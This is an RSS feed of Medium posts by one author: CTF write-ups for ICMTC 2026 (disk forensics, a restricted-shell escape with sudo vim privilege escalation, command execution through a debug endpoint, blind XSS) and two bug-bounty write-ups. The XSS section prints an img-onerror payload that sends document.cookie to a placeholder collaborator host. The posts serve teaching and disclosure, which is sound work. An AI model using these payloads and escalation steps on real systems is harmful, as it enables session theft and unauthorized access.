<?xml version="1.0" encoding="UTF-8"?><rss xmlns:dc="http://purl.org/dc/elements/1.1/" xmlns:content="http://purl.org/rss/1.0/modules/content/" xmlns:atom="http://www.w3.org/2005/Atom" version="2.0" xmlns:cc="http://cyber.law.harvard.edu/rss/creativeCommonsRssModule.html">
    <channel>
        <title><![CDATA[Stories by mrci0x1 on Medium]]></title>
        <description><![CDATA[Stories by mrci0x1 on Medium]]></description>
        <link>https://medium.com/@mrcix?source=rss-4b3123e36227------2</link>
        <image>
            <url>https://cdn-images-1.medium.com/fit/c/150/150/1*V_yG6QUo5Pp_0wOBcIVLlQ.jpeg</url>
            <title>Stories by mrci0x1 on Medium</title>
            <link>https://medium.com/@mrcix?source=rss-4b3123e36227------2</link>
        </image>
        <generator>Medium</generator>
        <lastBuildDate>Sat, 28 Nov 2026 10:15:21 GMT</lastBuildDate>
        <atom:link href="https://medium.com/@mrcix/feed" rel="self" type="application/rss+xml"/>
        <webMaster><![CDATA[yourfriends@medium.com]]></webMaster>
        <atom:link href="http://medium.superfeedr.com/" rel="hub"/>
        <item>
            <title><![CDATA[ICMTC 2026 CTF Writeups: Black Box, Endgame, CatchEmAll & Osuvox Forums]]></title>
            <link>https://medium.com/@mrcix/icmtc-2026-ctf-writeups-black-box-endgame-catchemall-osuvox-forums-0a809de24ba2?source=rss-4b3123e36227------2</link>
            <guid isPermaLink="false">https://medium.com/p/0a809de24ba2</guid>
            <category><![CDATA[ctf]]></category>
            <category><![CDATA[icmtc-2026]]></category>
            <dc:creator><![CDATA[mrci0x1]]></dc:creator>
            <pubDate>Sat, 13 Jun 2026 00:31:02 GMT</pubDate>
            <atom:updated>2026-06-13T00:31:02.754Z</atom:updated>
            <content:encoded><![CDATA[<p><em>Solving 4 challenges from the ICMTC 2026 CTF — forensics, shell escapes, Cypher injection, and a blind XSS chain.</em></p><h3>1. Black Box (Misc)</h3><figure><img alt="" src="https://cdn-images-1.medium.com/max/533/1*Jx_RL8oCMYlmM7AS3uy0uw.png" /></figure><h3>Description</h3><blockquote><em>A drive image recovered from a failed extraction. The operative who was carrying it didn’t make it out. The image did. Whatever was being prepared for transport is still inside — locked, but not gone. Connect to this challenge via SSH using the IP and port provided — </em><em>ssh rook@&lt;IP&gt; -p &lt;PORT&gt; (password: </em><em>hackthebox).</em></blockquote><figure><img alt="" src="https://cdn-images-1.medium.com/max/906/1*yDEr_qAwl0nOAVAagwf51Q.png" /></figure><p>After connecting to the instance, the environment contained a forensic disk image and a few documentation files:</p><ul><li>blackbox.img (a forensic Linux disk image)</li><li>BRIEFING.txt (the mission objective)</li><li>verify (a binary executable used to submit the final recovery code)</li></ul><p>[Insert “files” screenshot here]</p><p>BRIEFING.txt contains the following background:</p><pre>┌─────────────────────────────────────────────────────┐<br>  │        GROUNDWORK  //  MISSION 09: BLACK BOX        │<br>  │                   BUREAU ASSESSMENT                 │<br>  └─────────────────────────────────────────────────────┘<br>ROOK,<br>  We recovered a drive image from a previous operation.<br>  Whoever was carrying it did not make it out.<br>  The image did.<br>  It is on this terminal. Get inside it and recover<br>  whatever was being prepared for transport.<br>  The archive inside is encrypted. The key did not<br>  leave with the operator - it never does.<br>  Submit with:  ./verify &lt;recovery_code&gt;<br>    - W</pre><h3>Methodology &amp; Exploitation</h3><h4>Step 1: Internal File System Exploration</h4><p>We’re dealing with a Linux filesystem disk image (blackbox.img). To inspect its structure and contents without needing root permissions to mount it locally, we can leverage debugfs.</p><p>First, let’s list the root directory contents inside the image:</p><pre>debugfs -R &quot;ls -l /&quot; blackbox.img</pre><figure><img alt="" src="https://cdn-images-1.medium.com/max/1000/1*nMEAsfneEDx08xIuLEcjAw.png" /></figure><p>Seeing some critical assets listed in the output, we dump them from the filesystem into our current working directory for closer examination:</p><pre>debugfs -R &quot;dump /notes.txt notes.txt&quot; blackbox.img<br>debugfs -R &quot;dump /contacts.txt contacts.txt&quot; blackbox.img<br>debugfs -R &quot;dump /archive.zip archive.zip&quot; blackbox.img<br>debugfs -R &quot;dump /logs logs&quot; blackbox.img</pre><h4>Step 2: Analyzing the Protection Profile</h4><p>Attempting to extract archive.zip directly prompts us for a password, confirming it&#39;s fully encrypted.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/779/1*tW11j5eJwn7MLVrrqu5rxQ.png" /></figure><p>Looking for configuration files or credential leaks, we check notes.txt:</p><pre>Exfil package prepared 2031-03-18.<br><br>Recovery data archived and encrypted using standard Bureau<br>tooling. See pack.sh for archive parameters.<br>Contents verified before transport. Package ready.</pre><p>The notes point directly to an archiving configuration script named pack.sh. Since it wasn&#39;t part of the root directory dump, we search the rest of the filesystem for it:</p><pre>find / -name &quot;pack.sh&quot; 2&gt;/dev/null</pre><figure><img alt="" src="https://cdn-images-1.medium.com/max/1017/1*Q6PKRKFFYHsGUnhGkU9oMg.png" /></figure><p>Step 3: Extracting the Encryption Key</p><p>Inspecting the parameters inside the recovered pack.sh exposes the cryptographic variable configuration:</p><pre>PASS=$(echo &quot;YjNhMTlkYTFiNTVjZTQ2Yw==&quot; | base64 -d)<br>zip -r -P &quot;$PASS&quot; &quot;$OUTPUT&quot; &quot;$TARGET_DIR/&quot;</pre><p>The password is hardcoded inside the script but masked with Base64 encoding. Decoding it reveals the cleartext value:</p><pre>echo &quot;YjNhMTlkYTFiNTVjZTQ2Yw==&quot; | base64 -d</pre><pre># Decoded credential: b3a19da1b55ce46c</pre><h4>Step 4: Accessing the Target Payload</h4><p>With the password (b3a19da1b55ce46c) in hand, we unlock the archive:</p><pre>unzip -P b3a19da1b55ce46c archive.zip</pre><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*i8YRHUA-WWhJPkWdOaymSA.png" /></figure><p>This unpacks recovery.txt. Reading it gives us the recovery code required by the bureau assessment validation tool:</p><pre>cat recovery.txt<br># recovery code: 9493d45262e87d807d6a09cda61e73fb6f2275d2c9f59308fb91d94aa2bdb7c0</pre><p>Feeding this code into the verify binary processes the validation check successfully and drops the flag:</p><pre>./verify 9493d45262e87d807d6a09cda61e73fb6f2275d2c9f59308fb91d94aa2bdb7c0</pre><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*Hqy-sq2qSJmt-cZv-xogPw.png" /></figure><h3>Black Box’s Flag</h3><p>HTB{3xt2_s3cr3ts_r3c0v3r3d}</p><h3>2. Endgame (Misc)</h3><figure><img alt="" src="https://cdn-images-1.medium.com/max/533/1*kXtnLwV9Wdycc9YWxlG-qg.png" /></figure><h3>Description</h3><blockquote><em>The final terminal. No briefing. No handler message on login. Just a line left in the shell history by whoever locked it down — and the work of getting through it. Everything you need to know, you already know. Connect to this challenge via SSH using the IP and port provided — </em><em>ssh rook@&lt;IP&gt; -p &lt;PORT&gt; (password: </em><em>hackthebox).</em></blockquote><p>After connecting to the instance with the provided credentials (rook:hackthebox), we landed in a heavily restricted shell environment. This type of shell limits which commands a user can execute, making direct interaction with the system difficult.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*a2W5xkJWlgWgffFSx1o36w.png" /></figure><h3>Methodology &amp; Exploitation</h3><h4>Step 1: Escaping the Restricted Shell</h4><figure><img alt="" src="https://cdn-images-1.medium.com/max/771/1*nkhE9a2B1FARVgMiEyELEA.png" /></figure><p>To get a fully interactive shell, we needed to bypass the restrictions. We found that awk was available and could be used to execute arbitrary commands — its system() function let us spawn a new, unrestricted /bin/bash:</p><pre>awk &#39;BEGIN {system(&quot;/bin/bash&quot;)}&#39;</pre><p>After getting a bash shell, we sourced .escape_profile to make sure the environment was set up properly:</p><pre>source ~/.escape_profile</pre><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*UkR4mAWjNkEL2TwEhluagg.png" /></figure><p>For a more stable and interactive shell, we upgraded it using python3:</p><pre>python3 -c &#39;import pty; pty.spawn(&quot;/bin/bash&quot;)&#39;</pre><h4>Step 2: Privilege Escalation via sudo and vim</h4><p>With an unrestricted shell, the next step was looking for privilege escalation opportunities. We checked rook&#39;s sudo privileges with sudo -l:</p><pre>Matching Defaults entries for rook on<br>    ng-team-316281-linuxfundamentalsendgame-mfugt-75696d5899-wfvbb:<br>    env_reset, mail_badpass,<br>    secure_path=/usr/local/sbin\:/usr/local/bin\:/usr/sbin\:/usr/bin\:/sbin\:/bin\:/snap/bin,<br>    use_pty</pre><pre>User rook may run the following commands on<br>        ng-team-316281-linuxfundamentalsendgame-mfugt-75696d5899-wfvbb:<br>    (agent) NOPASSWD: /usr/bin/vim</pre><p>The output revealed that rook could run /usr/bin/vim as the agent user without a password (NOPASSWD). This is a common misconfiguration that can be abused to get a shell as agent.</p><p>We exploited it using vim’s ability to execute shell commands from inside the editor:</p><pre>/bin/sudo -u agent /usr/bin/vim -c &#39;:!/bin/bash&#39;</pre><p>This launched vim as agent and immediately executed /bin/bash, granting us a shell with agent privileges.</p><h4>Step 3: Recovering the Flag</h4><p>As agent, we navigated to the home directory and found a README file. It contained an encoded string along with instructions similar to the previous challenge, pointing to another verification step.</p><p>First, we decoded the provided string:</p><pre>echo &quot;==ANlVzY1gzN3EzM0IWZzQWZjljNmBTMhJDZ5QjNilzMmFzMxUmM1AjNlF2NiVDZiN2MhRmNyYjZhNzYyMzNxczY&quot; | rev | base64 -d</pre><p>This gave us the verification code: c71732c3af626da3cbd5b7ae6052e131f39b649d2a10f69ced3eb4317785c5e4.</p><p>Finally, we used the verify binary located in agent&#39;s home directory with the recovered code:</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*9MYlbkuyqLH-2l-4hjCBYw.png" /></figure><pre>/bin/sudo -u agent /usr/bin/vim -c &#39;:!/home/agent/verify c71732c3af626da3cbd5b7ae6052e131f39b649d2a10f69ced3eb4317785c5e4&#39;</pre><p>This ran verify as agent and returned the flag.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*_-N1VBQYbMEB6PfdfIRXXg.png" /></figure><h3>Restricted Shell Escape’s Flag</h3><p>HTB{3sc4p3d_th3_c4g3_r00k}</p><h3>3. CatchEmAll (Web)</h3><figure><img alt="" src="https://cdn-images-1.medium.com/max/536/1*aDb0SZrXGfAnOx2e771hdg.png" /></figure><h3>Description</h3><blockquote><em>Your one-stop resource to find which city you can find your favorite pokemon to catch on! Go catch ’em all! Note: The remote instance might take a few minutes to spawn. Please be patient.</em></blockquote><p>After extracting the provided archive web_catchemall.zip, we went through the source code to understand the layout and look for potential vulnerabilities.</p><h3>Methodology &amp; Exploitation</h3><h4>Step 1: Database Analysis (database.js)</h4><p>We noticed that the application takes user input directly into a Cypher query without any sanitization, inside the whereToCatch function:</p><pre>const neo4j = require(&#39;neo4j-driver&#39;)<br>const { execSync } = require(&#39;child_process&#39;);<br>class Database {<br> constructor() {<br>  this.driver = neo4j.driver(&quot;bolt://localhost:7687&quot;, neo4j.auth.basic(&#39;neo4j&#39;, &#39;admin&#39;));<br>        this.db = this.driver.session();<br> }<br> async migrate() {<br>  return new Promise(async (resolve, reject)=&gt; {<br>            while (true) {<br>                try {<br>                    execSync(&#39;cypher-shell -uneo4j -padmin --database=neo4j &lt; /etc/neo4j/schema.cypher&#39;)<br>                    break;<br>                }<br>                catch(e) {<br>                    console.log(&#39;neo4j has not started yet, retrying..&#39;)<br>                }<br>            }<br>            resolve();<br>  });<br> }<br>    async whereToCatch(pokemon) {<br>  return new Promise(async (resolve, reject) =&gt; {<br>   let stmt = `MATCH (p:Pokemon)-[c:CAUGHT_IN]-&gt;(d)  WHERE p.name = &quot;${pokemon}&quot;  RETURN d.name AS destination, c.catch_type as catch_type`;<br>   this.db.run(stmt)<br>                .then(result =&gt; {<br>                    let rows = [];<br>                    result.records.forEach(record =&gt; {<br>                        if(record.hasOwnProperty(&#39;_fields&#39;)) {<br>                            rows.push({destination: record.get(&#39;destination&#39;), catch_type: record.get(&#39;catch_type&#39;)});<br>                        }<br>                    });<br>                    resolve(rows);<br>                })<br>                .catch(e =&gt; {<br>                    reject(e);<br>                })<br>  });<br> }<br><br>}<br>module.exports = Database;</pre><blockquote><em>Vulnerability Found: Potential Cypher Injection via the </em><em>pokemon <br>parameter — the input is concatenated directly into the query string.</em></blockquote><h4>Step 2: Routing Analysis (routes/index.js)</h4><p>Reviewing the router, we found two main endpoints:</p><ol><li>POST /api/catch: handles the Pokémon search query.</li><li>GET /debug: an endpoint that executes system commands via execSync(cmd).</li></ol><p>While going through the /debug route, we found a fatal logic flaw in its localhost protection:</p><pre>const express        = require(&#39;express&#39;);<br>const { execSync }   = require(&#39;child_process&#39;);<br>const router         = express.Router({caseSensitive: true});<br>const isLocalhost = req =&gt; ((req.ip == &#39;127.0.0.1&#39; &amp;&amp; req.headers.host == &#39;127.0.0.1:1337&#39;) ? 0 : 1);<br>const response = data =&gt; ({ message: data });<br>let db;<br>router.get(&#39;/&#39;, (req, res) =&gt; {<br> return res.render(&#39;index.html&#39;);<br>});<br>router.post(&#39;/api/catch&#39;, async (req, res) =&gt; {<br> const { pokemon } = req.body;<br>    if (pokemon) {<br>        return db.whereToCatch(pokemon)<br>            .then(rows =&gt; {<br>                return res.json(rows);<br>            })<br>            .catch(e =&gt; {<br>                console.log(e);<br>                return res.status(500).send(response(e.toString()));<br>            })<br>    }<br> return res.status(500).send(response(&#39;Missing parameters!&#39;));<br>});<br>router.get(&#39;/debug&#39;, async (req, res) =&gt; {<br>    if (!isLocalhost(req)) return res.status(500).send(&#39;Debugging is disallowed public access&#39;);<br>    const { cmd, secret } = req.query;<br>    if (! secret === process.env.DEBUG_SECRET ) return res.status(500).send(&#39;Unauthorized&#39;);<br>    if (cmd) {<br>        try {<br>            const cmdExec = execSync(cmd);<br>            return res.json({cmd, output: cmdExec.toString()});<br>        }<br>        catch (e) {<br>            return res.json({cmd, output: e.stderr.toString()});<br>        }<br>    }<br> return res.status(500).send(response(&#39;Missing required parameters&#39;));<br>});<br>module.exports = (database) =&gt; {<br> db = database;<br> return router;<br>}</pre><h3>The Flaw</h3><p>The bug is in how isLocalhost is evaluated:</p><ol><li>When a request comes from the internet, isLocalhost returns 1 (true).</li><li>The check if (!isLocalhost(req)) then evaluates !1, which is false.</li><li>So the block is skipped, and external users get access to the debug endpoint. Ironically, if the server itself tried to access it, isLocalhost would return 0, !0 would be true, and it would actually get blocked!</li></ol><h4>Step 3: Remote Code Execution (RCE)</h4><p>Since /debug is fully exposed due to this logic bug and passes the cmd parameter straight to execSync(), we get Remote Code Execution (RCE) instantly.</p><p>Looking back at the initial file structure, we identified a compiled binary at /readflag designed to output the flag.</p><h3>Execution Command</h3><p>We sent a simple HTTP GET request to /debug with the payload to execute /readflag, and the server responded with the command output containing the flag:</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*f7msBo4mEO2V-bNGSkUcrw.png" /></figure><pre>{&quot;cmd&quot;:&quot;/readflag&quot;,&quot;output&quot;:&quot;HTB{0n3_1nj3c710n_t0_c4tch_3m_4ll!_f9713a454045f2f8ffd238a6f072389a}&quot;}</pre><h3>CatchEmAll’s Flag</h3><p>HTB{0n3_1nj3c710n_t0_c4tch_3m_4ll!_f9713a454045f2f8ffd238a6f072389a}</p><h3>4. Osuvox Forums (Web)</h3><figure><img alt="" src="https://cdn-images-1.medium.com/max/533/1*1zTUD1NNkQH-cVcNkrvltQ.png" /></figure><h3>Description</h3><blockquote><em>i-R0k and I0I created a marketplace for Oasis, continuously degrading players’ experience by creating Pay to Win conditions. Can you help the High Five to take it down?</em></blockquote><p>After extracting the provided source files (challenge directory), we went through the application structure to understand the layout and look for potential vulnerabilities.</p><h3>Methodology &amp; Exploitation</h3><h4>Step 1: Bot Analysis (bot.js)</h4><p>We noticed the application ships with an admin bot powered by Puppeteer, which holds a sensitive cookie and visits arbitrary posts:</p><pre>const visitPost = async (id) =&gt; {<br>    const browser = await puppeteer.launch(browser_options);<br>    let context = await browser.createIncognitoBrowserContext();<br>    let page = await context.newPage();<br>    await page.setCookie({<br>        name: &quot;flag&quot;,<br>        &#39;value&#39;: &#39;HTB{f4k3_fl4g_f0r_t3st1ng}&#39;,<br>        domain: &quot;127.0.0.1:1337&quot;<br>    });<br>    await page.goto(`http://127.0.0.1:1337/posts/${id}`, {<br>        waitUntil: &#39;networkidle2&#39;,<br>        timeout: 5000<br>    });<br>};</pre><blockquote><em>Indicator Found: A headless browser bot carrying a </em><em>flag cookie and visiting </em><em>/posts/${id} strongly suggests an XSS scenario, where the bot acts as the &quot;victim&quot; holding the prize.</em></blockquote><h4>Step 2: Template Analysis (views/post.html)</h4><p>While going through the templates, we found a | safe filter that disables Nunjucks&#39; autoescaping:</p><pre>&lt;p class=&quot;mb-1&quot;&gt;{{ post.description | safe }}&lt;/p&gt;</pre><blockquote><em>Initial Lead: A </em><em>| safe filter on </em><em>post.description looked like a classic stored XSS sink.</em></blockquote><h4>Step 3: Routing Analysis (routes/index.js)</h4><p>Reviewing the router, we found the available endpoints:</p><ol><li>GET /posts/:id: renders a post and its comments.</li><li>GET /report: renders the report page.</li><li>POST /api/report: takes an id and triggers bot.visitPost(id).</li></ol><pre>const express        = require(&#39;express&#39;);<br>const router         = express.Router({caseSensitive: true});<br>const bot            = require(&#39;../bot&#39;);<br>let db;<br>let botVisiting = false;<br>const response = data =&gt; ({ message: data });<br>router.get(&#39;/&#39;, (req, res) =&gt; {<br> db.listPosts()<br> .then(posts =&gt; {<br>  return res.render(&#39;index.html&#39;, {posts});<br> })<br> .catch(e =&gt; {<br>  res.render(&#39;index.html&#39;);<br> })<br>});<br>router.get(&#39;/posts/:id&#39;, (req, res) =&gt; {<br> const { id } = req.params;<br> if(!isNaN(parseInt(id))) {<br>  db.getPost(parseInt(id))<br>   .then(post =&gt; {<br>    db.getComments(parseInt(id))<br>     .then(comments =&gt; {<br>      return res.render(&#39;post.html&#39;, {post: post , comments: comments});<br>     })<br>   })<br> } else {<br>  return res.render(&#39;post.html&#39;, {error: &#39;Invalid post ID supplied!&#39;});<br> }<br>});<br>router.get(&#39;/report&#39;, (req, res) =&gt; {<br> res.render(&#39;report.html&#39;);<br>});<br>router.post(&#39;/api/report&#39;, async (req, res) =&gt; {<br> const { id } = req.body;<br> if (botVisiting) return res.status(403).send(response(&#39;Please wait for the previous report to process first!&#39;));<br> if(id) {<br>  botVisiting = true;<br>  return bot.visitPost(id)<br>   .then(() =&gt; {<br>    botVisiting = false;<br>    return res.send(response(&#39;Report received successfully!&#39;));<br>   })<br>   .catch(e =&gt; {<br>    console.log(e);<br>    botVisiting = false;<br>    return res.status(403).send(response(&#39;Something went wrong, please try again!&#39;));<br>   })<br> }<br> return res.status(500).send(response(&#39;Missing required parameters!&#39;));<br>});<br>module.exports = database =&gt; {<br> db = database;<br> return router;<br>};</pre><h3>The Flaw</h3><p>The logic bug here isn’t in the templates — it’s that:</p><ol><li>There’s no endpoint to create a new post, so post.description can never be controlled by us. The | safe sink is unreachable.</li><li>The id parameter passed to bot.visitPost(id) is concatenated directly into the bot&#39;s navigation URL:</li></ol><pre>await page.goto(`http://127.0.0.1:1337/posts/${id}`, ...);</pre><p>This means any extra query string appended to id (e.g. 1?search=...) gets carried straight into the bot&#39;s browser navigation, untouched.</p><h4>Step 4: Client-Side Sink (static/js/forum.js)</h4><p>Going through the static JS files revealed the real injection point:</p><pre>let params = parseParams(location.href);<br>if (params.hasOwnProperty(&#39;search&#39;)) {<br>    $(&#39;#search-res&#39;).style.display = &#39;block&#39;;<br>    $(&#39;#search-msg&#39;).innerHTML = `Search results for &quot;${params.search}&quot; :`;<br>}</pre><blockquote><em>Vulnerability Found: A classic DOM-based XSS — the </em><em>search query parameter is reflected directly into </em><em>innerHTML with zero sanitization, entirely on the client side.</em></blockquote><h4>Step 5: First Attempt — Why It Failed</h4><p>Our first payload was:</p><pre>&lt;script&gt;fetch(&#39;//xxx.oastify.com/?c=&#39;+document.cookie)&lt;/script&gt;</pre><p>This rendered as plain text on the page and never executed. The reason: browsers never execute &lt;script&gt; tags injected via innerHTML, regardless of the application&#39;s sanitization — this is a built-in DOM security behavior, not an app-level protection.</p><p>The fix: use a tag with an event handler instead, which does execute when inserted via innerHTML:</p><pre>&lt;img src=x onerror=&quot;fetch(&#39;//xxx.oastify.com/?c=&#39;+document.cookie)&quot;&gt;</pre><h4>Step 6: Remote Cookie Exfiltration (Blind XSS)</h4><p>The exploit chain became a pure blind XSS via the report bot:</p><pre>GET /posts/1?search=&lt;img src=x onerror=&quot;fetch(&#39;//COLLABORATOR_ID.oastify.com/?c=&#39;+document.cookie)&quot;&gt;</pre><p>We then triggered the admin bot via the report endpoint:</p><pre>{&quot;id&quot;: &quot;1?search=&lt;img src=x onerror=\&quot;fetch(&#39;//COLLABORATOR_ID.oastify.com/?c=&#39;+document.cookie)\&quot;&gt;&quot;}</pre><p>The server responded:</p><pre>{&quot;message&quot;:&quot;Report received successfully!&quot;}</pre><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*ESSSGeuAZzOCEnZr42oLSw.png" /></figure><h4>Execution Result</h4><p>Polling our Collaborator listener returned an out-of-band HTTP callback from the bot’s headless browser, containing the stolen cookie:</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/925/1*kEETBf3f7M8B69mlWV-oeQ.png" /></figure><h4>Osuvox Forums’s Flag</h4><p>HTB{l00k_0uT_f0r_bl1nd_X55!!!}</p><blockquote><em>“Closed it out at 12th — not where we want to stay, but it’s what it’s.”</em></blockquote><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*yboGTCrFDSbtZ1MoUNeSbg.png" /></figure><blockquote><em>“Some others have confessed their wrongdoing: they have mixed goodness with evil. It is right to hope that Allah will turn to them in mercy. Surely Allah is All-Forgiving, Most Merciful.”<br>“وَآخَرُونَ اعْتَرَفُوا بِذُنُوبِهِمْ خَلَطُوا عَمَلًا صَالِحًا وَآخَرَ سَيِّئًا عَسَى اللَّهُ أَن يَتُوبَ عَلَيْهِمْ ۚ إِنَّ اللَّهَ غَفُورٌ رَّحِيمٌ”</em></blockquote><img src="https://medium.com/_/stat?event=post.clientViewed&referrerSource=full_rss&postId=0a809de24ba2" width="1" height="1" alt="">]]></content:encoded>
        </item>
        <item>
            <title><![CDATA[Bypass of Username Policy: Breaking the Rules with a Simple Trick]]></title>
            <link>https://medium.com/@mrcix/bypass-of-username-policy-breaking-the-rules-with-a-simple-trick-fcf7ce97925c?source=rss-4b3123e36227------2</link>
            <guid isPermaLink="false">https://medium.com/p/fcf7ce97925c</guid>
            <category><![CDATA[bug-bounty-tips]]></category>
            <category><![CDATA[penetration-testing]]></category>
            <category><![CDATA[bug-bounty-writeup]]></category>
            <category><![CDATA[web-security]]></category>
            <category><![CDATA[bug-bounty]]></category>
            <dc:creator><![CDATA[mrci0x1]]></dc:creator>
            <pubDate>Sat, 16 Nov 2024 21:57:23 GMT</pubDate>
            <atom:updated>2024-11-16T21:57:23.209Z</atom:updated>
            <content:encoded><![CDATA[<p>link of my personal gitbook : https://mrci0x1.gitbook.io/home</p><h3>Story:</h3><p>Late one evening, I decided to dive into some bug hunting for a quick session. I noticed the application had strict username rules during registration—special characters like @@ or ... or numeric-only usernames like 123 were not allowed. Also, I can&#39;t change my username after signing up. It seemed solid.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/990/0*QFnqqSv0ZHxcb_qB" /></figure><h3>Process:</h3><p>I registered normally and went to my profile settings. However, the option to change my username was disabled.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/0*T-Xu4WG7w1GF0ZPl" /></figure><p>I didn’t stop there. I decided to change my bio and intercepted the request using Burp Suite.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/802/0*1tylcUUAzaKVE6Oy" /></figure><p>While reviewing the request, I spotted that I could add a parameter that doesn’t exist that allowed me to modify my username.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/0*HZTa008Jc1vc-O4u" /></figure><p>After I added the parameter, I sent the request again, and it just worked!!</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/0*MVyp8qMaGh7nGjEV" /></figure><p>My profile was updated successfully.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/0*uCEQXLh1JwALDNRB" /></figure><p><strong>ME:</strong> Sending the bug. <br><strong>Triage Team:</strong> Waiting for duplicate me.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/900/0*rRM82fgInFpGXzq2" /></figure><h3>Result:</h3><figure><img alt="" src="https://cdn-images-1.medium.com/max/336/0*ePWtVz0jhFhXyZpC" /></figure><img src="https://medium.com/_/stat?event=post.clientViewed&referrerSource=full_rss&postId=fcf7ce97925c" width="1" height="1" alt="">]]></content:encoded>
        </item>
        <item>
            <title><![CDATA[Sensitive Data Exposure in a Moodle Config File]]></title>
            <link>https://medium.com/@mrcix/sensitive-data-exposure-in-a-moodle-config-file-648ca3d54676?source=rss-4b3123e36227------2</link>
            <guid isPermaLink="false">https://medium.com/p/648ca3d54676</guid>
            <category><![CDATA[bug-bounty]]></category>
            <category><![CDATA[information-security]]></category>
            <category><![CDATA[web-security]]></category>
            <dc:creator><![CDATA[mrci0x1]]></dc:creator>
            <pubDate>Sat, 16 Nov 2024 20:57:12 GMT</pubDate>
            <atom:updated>2026-05-28T20:58:14.983Z</atom:updated>
            <content:encoded><![CDATA[<p>link of my personal gitbook =&gt; <a href="https://mrci0x1.github.io/">https://mrci0x1.github.io/</a></p><p>Story:</p><p>On the 6th of October holiday, I had just wrapped up some college assignments when a friend texted me. We had a private program and I wondered if I had some free time to test it together. Without wasting a moment, divide the tasks between us. We dove right in and started hunting for bugs.</p><blockquote><em>As a bug hunter, having a solid methodology is crucial, especially when you’re just starting. It doesn’t matter whether it’s one you found externally or you’ve developed by yourself — just don’t get caught up in the noise for too long.</em></blockquote><h3>Process:</h3><p>Let’s say your target is <strong>example.com</strong>. You begin with some Google Dorking using simple queries, but nothing interesting comes up.</p><p>After the initial Google Dorking yielded no interesting results, I moved on to subdomain enumeration using a reliable tool called subfinder:</p><pre>subfinder -all -silent -d example.com -o subfinder.txt</pre><p>Next, I checked which subdomains were alive using httpx:</p><pre>cat subfinder.txt | httpx -silent -sc -probe -title -td -ip -t 90 -mc 200,404,403,302,301,303,304,305,306,307,302 -o live1.txt</pre><p>To dig deeper, I performed subdomain enumeration on subdomains, a technique that often uncovers hidden gems. After repeating the last command, I found a few new subdomains to test, which could potentially have interesting vulnerabilities, and found this one <a href="https://x.x.example.com/">https://x.x.example.com</a></p><p>One of my favorite things to do is directory fuzzing. There are many great tools for this, like <strong>dirb</strong>, <strong>gobuster</strong>, or <strong>dirsearch</strong>. I prefer <strong>dirsearch</strong> because it offers valuable paths and is fast. I kicked it off with the following command:</p><pre>dirsearch -u https://example.com/ -t 150 -x 403,404,500,429 -i 200,301,302 -random-agent</pre><p>and found many 200 OK, but there are the most file interesting ones called config.php.save</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/883/0*Roct4ansyjEaKu2L" /><figcaption>figure 01</figcaption></figure><p>This write-up dates back to when the config.php.save file was still present. However, since the bug was resolved, the file has been removed from the results.</p><p>Accessing the config.php.save file revealed sensitive information, such as the database username (dbuser), password (dbpass), and other critical details. This type of exposure can lead to severe security risks if not addressed.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/867/0*CB3eSo_oIhMUU7Od" /><figcaption>figure 02</figcaption></figure><p>Sometimes you won’t find anything immediately, but don’t let that stop you. Every step gets you closer to a win. Keep learning, stay curious, and don’t give up — success comes to those who keep going!</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/484/1*ZtLUUbF2xkQm084p1TlzHw.gif" /></figure><h3>Result:</h3><p>Update: Resolved🎉🎉</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/370/0*QLUqS1oT4xuPGJ2q" /><figcaption>figure 03</figcaption></figure><img src="https://medium.com/_/stat?event=post.clientViewed&referrerSource=full_rss&postId=648ca3d54676" width="1" height="1" alt="">]]></content:encoded>
        </item>
    </channel>
</rss>